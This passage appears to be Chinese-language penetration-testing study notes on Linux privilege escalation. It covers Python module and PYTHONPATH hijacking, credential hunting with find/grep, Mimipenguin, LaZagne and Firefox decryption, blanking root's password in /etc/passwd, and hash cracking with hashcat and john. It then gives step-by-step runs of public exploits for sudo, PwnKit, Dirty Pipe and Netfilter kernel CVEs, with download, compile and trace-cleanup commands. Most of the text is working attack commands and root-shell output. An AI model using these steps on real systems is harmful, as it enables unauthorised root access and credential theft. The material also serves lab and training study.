ls -l mem_status.py
輸出範例:
-rwsrwxr-x 1 root mrb3n 188 Dec 13 20:13 mem_status.py
② 檢查 Python 腳本內容
cat mem_status.py
範例內容:
#!/usr/bin/env python3
import psutil
available_memory = psutil.virtual_memory().available * 100 / psutil.virtual_memory().total
print(f"Available memory: {round(available_memory, 2)}%")
③ 搜尋被匯入模組 psutil
的實際路徑
psutil
的實際路徑grep -r "def virtual_memory" /usr/local/lib/python3.8/dist-packages/psutil/*
然後確認 __init__.py
的權限:
ls -l /usr/local/lib/python3.8/dist-packages/psutil/__init__.py
若結果顯示 world writable,如:
-rw-r--rw- 1 root staff 87339 Dec 13 20:07 /usr/local/lib/python3.8/dist-packages/psutil/__init__.py
✅ 可以被修改,代表存在漏洞!
④ 編輯該模組,注入惡意指令
在 virtual_memory()
函式開頭加入:
import os
os.system('id')
⑤ 執行目標 Python 腳本
sudo /usr/bin/python3 ./mem_status.py
若看到輸出:
uid=0(root) gid=0(root) groups=0(root)
🎉 權限提升成功!
✅ 2️⃣ 利用 Library 路徑優先順序 (Library Path Hijacking)
➡️ 攻擊條件
導入的模組位於 sys.path 中較低優先權目錄(如
/usr/local/lib/...
)。sys.path 中較高優先權路徑可寫(如
/usr/lib/python3.8/
)。
➡️ 攻擊步驟
① 檢查 Python 的模組搜尋順序
python3 -c 'import sys; print("\n".join(sys.path))'
② 檢查 psutil 預設安裝位置
pip3 show psutil
輸出範例:
Location: /usr/local/lib/python3.8/dist-packages
若此路徑在 sys.path 裡較低順位,而 /usr/lib/python3.8
可寫,代表可以進行 hijacking。
③ 確認目錄可寫權限
ls -ld /usr/lib/python3.8
若為:
drwxr-xrwx 30 root root 20480 Dec 14 16:26 /usr/lib/python3.8
✅ World writable,漏洞存在!
④ 建立同名惡意模組
建立 /usr/lib/python3.8/psutil.py
:
#!/usr/bin/env python3
import os
def virtual_memory():
os.system('id')
⑤ 執行目標 Python 腳本
sudo /usr/bin/python3 ./mem_status.py
如果執行時出現:
uid=0(root) gid=0(root) groups=0(root)
🎉 劫持成功!
✅ 3️⃣ 利用 PYTHONPATH 環境變數 (PYTHONPATH Hijacking)
➡️ 攻擊條件
有 sudo 權限可用
SETENV
執行python3
。可自訂 PYTHONPATH 指向惡意模組所在目錄。
➡️ 攻擊步驟
① 檢查 sudo 權限
sudo -l
結果範例:
(ALL : ALL) SETENV: NOPASSWD: /usr/bin/python3
✅ 可以搭配環境變數執行 python3!
② 在 /tmp/
建立惡意模組 psutil.py
/tmp/
建立惡意模組 psutil.py
內容如下:
#!/usr/bin/env python3
import os
def virtual_memory():
os.system('id')
③ 使用 PYTHONPATH 執行
sudo PYTHONPATH=/tmp/ /usr/bin/python3 ./mem_status.py
如果輸出結果顯示:
uid=0(root) gid=0(root) groups=0(root)
🎉 PYTHONPATH 劫持成功!
✅ 完整整理表格 (一眼看懂)
錯誤寫入權限 (Wrong Write)
目標腳本以 root 執行 & 匯入模組有 world writable 權限
修改該模組,在函式開頭插入 os.system(‘id’),執行觸發
Library Path Hijacking
sys.path 高優先權路徑可寫,低順位路徑存在目標模組
在高優先權目錄中放置同名惡意模組,覆蓋原本模組
PYTHONPATH 環境變數劫持
sudo 可使用 SETENV
選項執行 python3
自訂 PYTHONPATH
指向 /tmp/ 下惡意模組,sudo 執行目標程式
🎯 Linux 憑證獵取
🧨 A. Files 類憑證搜尋
🔍 1. 設定檔(config)
for ext in .conf .config .cnf; do
echo "[*] Searching $ext"
find / -name "*$ext" 2>/dev/null | grep -v "lib\|fonts\|share\|core"
done
🔎 搜尋內容中的關鍵詞:
for f in $(find / -name "*.cnf" 2>/dev/null); do
echo "[*] Checking $f"; grep -i "user\|pass" $f 2>/dev/null
done
🔍 2. 資料庫檔案
for ext in .sql .db .*db .db*; do
echo "[*] Searching $ext"
find / -name "*$ext" 2>/dev/null | grep -v "doc\|lib\|share"
done
看重點:cert9.db
和 key4.db
→ Firefox 儲存的登入資訊
🔍 3. Notes 筆記檔
find /home/* -type f -name "*.txt" -o ! -name "*.*"
這會找出所有 .txt
和「沒有副檔名」的筆記檔,內文往往藏密碼。
🔍 4. Scripts 腳本檔
for ext in .sh .py .pl .go .jar .c; do
echo "[*] Searching $ext"
find / -name "*$ext" 2>/dev/null | grep -v "doc\|lib\|headers\|share"
done
重點:檢查腳本是否包含 hardcoded 密碼
🔍 5. CronJobs 排程
cat /etc/crontab
ls -la /etc/cron.d/
ls -la /etc/cron.daily/
這些定時任務的腳本中可能 hardcode 密碼、API key。
🔍 6. SSH 金鑰
grep -rnw "PRIVATE KEY" /home/* 2>/dev/null | grep ":1"
grep -rnw "ssh-rsa" /home/* 2>/dev/null | grep ":1"
🔑 私鑰開頭通常是 -----BEGIN OPENSSH PRIVATE KEY-----
🔓 若未加密可直接用來連線!
🔁 B. History 類憑證搜尋
🔍 Bash 歷史記錄
tail -n 20 /home/*/.bash_history
cat /home/*/.bashrc
cat /home/*/.bash_profile
看是否執行過 su
、腳本參數帶密碼,或 curl/post 提交密碼。
💾 C. Memory & 快取類
🔧 Mimipenguin 提取記憶體中的登入密碼
sudo python3 mimipenguin.py
# or
sudo bash mimipenguin.sh
✅ 會回傳格式:
[SYSTEM - GNOME] cry0l1t3:MySecretPass
🔧 LaZagne(支援超過 30 種工具憑證)
sudo python2.7 laZagne.py all
🎯 支援項目包括:
Shadow / passwd
GNOME keyring / Kwallet
SSH / Git / AWS / Docker
Firefox, Chromium, Filezilla, etc
🔓 Firefox 解密瀏覽器登入
cat ~/.mozilla/firefox/*.default*/logins.json | jq .
🔧 用 firefox-decrypt.py 解密:
python3.9 firefox_decrypt.py
輸出範例:
Website: https://target.com
Username: admin
Password: P@ssw0rd123
📚 D. 日誌紀錄中的痕跡
🔍 有用的日誌檔:
/var/log/auth.log # Debian 驗證
/var/log/secure # RedHat 驗證
/var/log/syslog # 系統活動
/var/log/cron # 定時腳本
/var/log/faillog # 登入失敗
🔍 搜尋關鍵字:
for f in /var/log/*; do
grep -Ei "accepted|session opened|sudo|password changed|COMMAND=" $f 2>/dev/null
done
Linux 憑證系統與破解 (to be edit ...)
🔐 Linux 憑證系統與破解攻略
📘 一、認識三大密碼檔案
/etc/passwd
所有使用者帳號基本資料,可被所有人讀取
/etc/shadow
密碼雜湊資訊(加密密碼),只有 root 可讀
/etc/security/opasswd
過往使用過的舊密碼雜湊,用於 PAM 防止重複使用
📂 /etc/passwd
格式說明
/etc/passwd
格式說明範例:
cry0l1t3:x:1000:1000:cry0l1t3,,,:/home/cry0l1t3:/bin/bash
1
使用者名稱
2
密碼資訊(x 代表存放在 shadow)
3
UID(使用者 ID)
4
GID(群組 ID)
5
使用者全名 / 備註
6
使用者家目錄
7
shell(登入使用的殼)
⚠️ 特別注意:
若密碼欄位是
x
→ 使用/etc/shadow
若密碼欄位是空白或
::
→ 無需密碼登入(重大安全漏洞)若誤設寫入權限 → 可自行刪除 root 密碼達成提權
範例提權技巧:
sudo nano /etc/passwd
# 將 root:x: 改為 root:: 即可空密碼登入 root
su
# 進入 root 無需密碼
🧱 /etc/shadow
格式說明
/etc/shadow
格式說明範例:
cry0l1t3:$6$wBRzy$...HASH...:18937:0:99999:7:::
1
使用者名稱
2
密碼雜湊(或 *
、!
表示無法密碼登入)
3
上次密碼修改時間(從 1970 年起的天數)
4~9
密碼策略設定(最小、最大使用時間等)
🔐 雜湊格式解析(Field 2)
格式:
$<type>$<salt>$<hashed_password>
常見加密演算法:
$1$
MD5
$2a$
Blowfish
$5$
SHA-256
$6$
SHA-512(大多數新版預設)
🗝 /etc/security/opasswd
(舊密碼紀錄)
/etc/security/opasswd
(舊密碼紀錄)PAM 模組
pam_unix.so
會儲存舊密碼防止重複使用檔案格式通常為:
username:UID:count:$1$HASH1,$1$HASH2,...
比如:
sudo cat /etc/security/opasswd
cry0l1t3:1000:2:$1$HjFAfYTG$abc123,$1$kcUjWZJX$def456
✅ 可從這裡挖到舊密碼 hash,特別是 $1$ → MD5 很好破解
🧨 破解流程(清晰步驟)
✅ 第一步:備份檔案
sudo cp /etc/passwd /tmp/passwd.bak
sudo cp /etc/shadow /tmp/shadow.bak
✅ 第二步:解除 Shadow 合併
unshadow /tmp/passwd.bak /tmp/shadow.bak > /tmp/unshadowed.hashes
🔥 使用 Hashcat 破解密碼
🧠 破解 Linux 雜湊(SHA-512)
hashcat -m 1800 -a 0 /tmp/unshadowed.hashes rockyou.txt -o cracked.txt
參數說明:
-m 1800
:表示 SHA-512 ($6$
)-a 0
:字典攻擊rockyou.txt
:常用密碼字典
🧠 破解 Opasswd 中的 MD5 密碼
先建立 MD5 hash 清單:
cat > md5-hashes.list << EOF
qNDkF0zJ3v8ylCOrKB0kt0
E9uMSmiQeRh4pAAgzuvkq1
EOF
破解:
hashcat -m 500 -a 0 md5-hashes.list rockyou.txt
參數說明:
-m 500
:表示 Linux MD5 ($1$
)
✅ 破解成功後可見:
qNDkF0zJ3v8ylCOrKB0kt0:password123
🛠 若無 Hashcat,可用 John the Ripper:
john --wordlist=rockyou.txt /tmp/unshadowed.hashes
查看已破解:
john --show /tmp/unshadowed.hashes
🎯 3. ZERO day
(CVE-2021-3156) ,(CVE-2019-14287) (sudo)
CVE-2021-3156
sudo < 1.9.5p2 且系統為易受影響版本
利用公開 POC,下載編譯 sudo-hax-me-a-sandwich
,執行指定 ID 即 root
CVE-2019-14287
sudoers 允許特定指令,透過 sudo -u 指定 ID
執行 sudo -u#-1 指令
,利用 -1 映射為 root (UID 0)
✅ 1️⃣ CVE-2021-3156 (Heap-based Buffer Overflow)
影響 sudo 版本 < 1.9.5p2,大多數 Linux 發行版本在多年來都存在此漏洞。
➡️ 攻擊流程
① 確認 sudo 版本
sudo -V | head -n1
若結果為:
Sudo version 1.8.31
並且系統版本對應 Ubuntu 20.04 或其他受影響版本,即可進行下一步。
② 確認作業系統版本
cat /etc/lsb-release
範例結果:
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=20.04
DISTRIB_DESCRIPTION="Ubuntu 20.04.1 LTS"
③ 下載 exploit
git clone https://github.com/blasty/CVE-2021-3156.git
cd CVE-2021-3156
make
④ 執行 exploit
./sudo-hax-me-a-sandwich
確認目標系統編號 (如 1
為 Ubuntu 20.04.1)
⑤ 執行指定版本 ID
./sudo-hax-me-a-sandwich 1
正常會看到:
** pray for your rootshell.. **
# id
uid=0(root) gid=0(root) groups=0(root)
🎉 root 權限成功!
✅ 2️⃣ CVE-2019-14287 (Sudo Policy Bypass)
當 sudo 設定允許執行特定指令時,即使只執行
sudo -u#-1
也可以拿到 root 權限。
➡️ 攻擊流程
① 查看 sudo 權限
sudo -l
若有類似:
User cry0l1t3 may run the following commands on Penny:
ALL=(ALL) /usr/bin/id
代表可執行 id
指令。
② 檢查使用者 UID
cat /etc/passwd | grep cry0l1t3
範例結果:
cry0l1t3:x:1005:1005:cry0l1t3,,,:/home/cry0l1t3:/bin/bash
✅ 知道自己 UID 是 1005。
③ 利用 sudo -u#-1 觸發 root 權限
sudo -u#-1 id
會回傳:
uid=0(root) gid=1005(cry0l1t3) groups=1005(cry0l1t3)
然後就可以:
sudo -u#-1 /bin/bash
取得 root shell!
Polkit 波爾基特 (CVE-2021-4034 )/ PwnKi
✅ Polkit 簡介
Polkit 是 Linux 系統用來授權不同使用者或應用程式以 root 權限執行操作的授權服務。
pkexec
指令就像 sudo,可以用來以 root 或其他使用者身份執行指令。
✅ 漏洞背景(CVE-2021-4034)
此漏洞存在於
pkexec
工具中,是一個記憶體損毀 (Memory corruption) 弱點。利用此漏洞可以在系統上以非特權使用者取得 root 權限。
該漏洞隱藏長達 12 年,2022 年初正式公開,編號 CVE-2021-4034(PwnKit)。
✅ 環境確認步驟
① 檢查系統是否安裝有 pkexec:
which pkexec
② 確認 polkit 版本(可選):
pkexec --version
若版本較舊(通常 < 0.120)都可能受影響。
✅ Exploit 利用步驟
1️⃣ 下載 Exploit PoC
git clone https://github.com/arthepsy/CVE-2021-4034.git
cd CVE-2021-4034
如果沒有 git,可以嘗試 wget 或 curl。
2️⃣ 編譯 POC
gcc cve-2021-4034-poc.c -o poc
✅ 如果沒裝 gcc,可以先確認是否能用 sudo apt install gcc
安裝,或嘗試透過其他管道上傳已編譯好的二進制。
3️⃣ 執行 Exploit
./poc
⚠️ 成功執行後會直接進入 root shell,但初始是 /bin/sh
,可以執行:
bash
切換成 bash shell。
4️⃣ 驗證 root 權限
id
預期輸出:
uid=0(root) gid=0(root) groups=0(root)
🎉 成功取得 root!
✅ 小總結:
CVE-2021-4034 (PwnKit)
系統有 pkexec
,版本未修補,通常 <0.120
下載 POC → 編譯 → 執行 ./poc
→ 切 bash → id 查看 root
Dirty Pipe (CVE-2022-0847)
✅ Dirty Pipe 簡介
Dirty Pipe 係 Linux 核心 5.8 ~ 5.17 之間一個重大漏洞,允許非特權用戶寫入有 read 權限但冇寫權限嘅檔案(例如 /etc/passwd
),從而達到權限提升 (root)。
✅ 利用條件:
Linux kernel 版本 5.8 ~ 5.17。
目標系統可執行
git
、gcc
或有辦法上傳已編譯的 exploit。有
read
權限嘅目標檔案(例如/etc/passwd
)。
✅ 利用 Dirty Pipe 權限提升 step by step
1️⃣ 確認 Kernel 版本
uname -r
如果版本係 5.8 到 5.17 之間,即有機會存在漏洞。
2️⃣ 下載 Dirty Pipe PoC Exploit
git clone https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits.git
cd CVE-2022-0847-DirtyPipe-Exploits
3️⃣ 編譯 Exploit
bash compile.sh
完成之後會產生:
exploit-1
exploit-2
4️⃣ 使用 exploit-1 修改 /etc/passwd
/etc/passwd
Exploit-1 會備份
/etc/passwd
,修改 root 密碼成「piped」,再 restore。 執行:
./exploit-1
成功後會提示可以用 su -c 指令直接取得 root。 驗證:
id
預期結果:
uid=0(root) gid=0(root) groups=0(root)
🎉 已經成功 pop root shell!
5️⃣ 使用 exploit-2 劫持 SUID Binary
exploit-2 可以利用 Dirty Pipe 臨時劫持指定嘅 SUID binary 以 root 權限執行。
5-1️⃣ 找到 SUID binary
find / -perm -4000 2>/dev/null
常見可利用目標:/usr/bin/sudo
、/usr/bin/passwd
、/usr/bin/chsh
等等。
5-2️⃣ 使用 exploit-2 指定 SUID binary
例如使用 /usr/bin/sudo
:
./exploit-2 /usr/bin/sudo
執行後會顯示類似:
[+] hijacking suid binary..
[+] dropping suid shell..
[+] restoring suid binary..
[+] popping root shell.. (dont forget to clean up /tmp/sh ;))
驗證 root 權限:
id
結果:
uid=0(root) gid=0(root) groups=0(root)
✅ 利用完成後記得:
恢復
/etc/passwd
(exploit 已自動備份)。刪除
/tmp/sh
臨時文件。如果係 CTF 環境或測試機唔需要處理,但真實環境需要清理痕跡。
✅ 小結
exploit-1
修改 /etc/passwd
root 密碼為 piped,彈出 root shell
./exploit-1
exploit-2
臨時劫持指定 SUID binary 執行 root shell
./exploit-2 /usr/bin/sudo
Netfilter 權限提升漏洞 (CVE-2021-22555、CVE-2022-25636、CVE-2023-32233)
✅ 什麼係 Netfilter?
Netfilter 係 Linux 核心中負責封包過濾、NAT 及流量控制嘅模組,透過 iptables、nftables 等機制運作。 而由於 Netfilter 在核心層處理封包,歷年嚟多次發現可導致本地用戶提權到 root 嘅漏洞。
✅ 1️⃣ CVE-2021-22555 (Linux 2.6 ~ 5.11)
利用步驟:
1️⃣ 確認 kernel 版本
uname -r
✅ 如果係 5.11 以下就有可能中招。
2️⃣ 下載漏洞 PoC
wget https://raw.githubusercontent.com/google/security-research/master/pocs/linux/cve-2021-22555/exploit.c
3️⃣ 編譯
gcc -m32 -static exploit.c -o exploit
4️⃣ 執行
./exploit
5️⃣ 成功會彈出 root shell:
id
結果:
uid=0(root) gid=0(root) groups=0(root)
✅ 2️⃣ CVE-2022-25636 (Linux 5.4 ~ 5.6.10)
利用步驟:
1️⃣ 確認 kernel 版本
uname -r
✅ 如果係 5.4 ~ 5.6.10 之間即有機會中招。
2️⃣ 下載 exploit
git clone https://github.com/Bonfee/CVE-2022-25636.git
cd CVE-2022-25636
3️⃣ 編譯
make
4️⃣ 執行
./exploit
5️⃣ 成功彈出 root shell 後驗證:
id
結果:
uid=0(root) gid=0(root) groups=0(root)
⚠ 注意:此 exploit 有機會令系統 kernel crash,實機請小心測試!
✅ 3️⃣ CVE-2023-32233 (Linux 最高到 6.3.1)
原理:
利用 nf_tables 中匿名 sets 嘅 Use-After-Free 漏洞,通過 race condition 攻擊提權。
利用步驟:
1️⃣ 下載 exploit
git clone https://github.com/Liuk3r/CVE-2023-32233
cd CVE-2023-32233
2️⃣ 編譯
gcc -Wall -o exploit exploit.c -lmnl -lnftnl
3️⃣ 執行
./exploit
4️⃣ 成功後會自動彈出 root shell:
id
結果:
uid=0(root) gid=0(root) groups=0(root)
✅ 小結整理表
CVE-2021-22555
Kernel 2.6 ~ 5.11
OOB write + namespace
穩定度較高
CVE-2022-25636
Kernel 5.4 ~ 5.6.10
Heap out-of-bounds
可能造成 kernel panic
CVE-2023-32233
Kernel ≤ 6.3.1
nf_tables UAF + race
較複雜,易影響系統穩定性
🔗 5. 連鎖漏洞
最后更新于
这有帮助吗?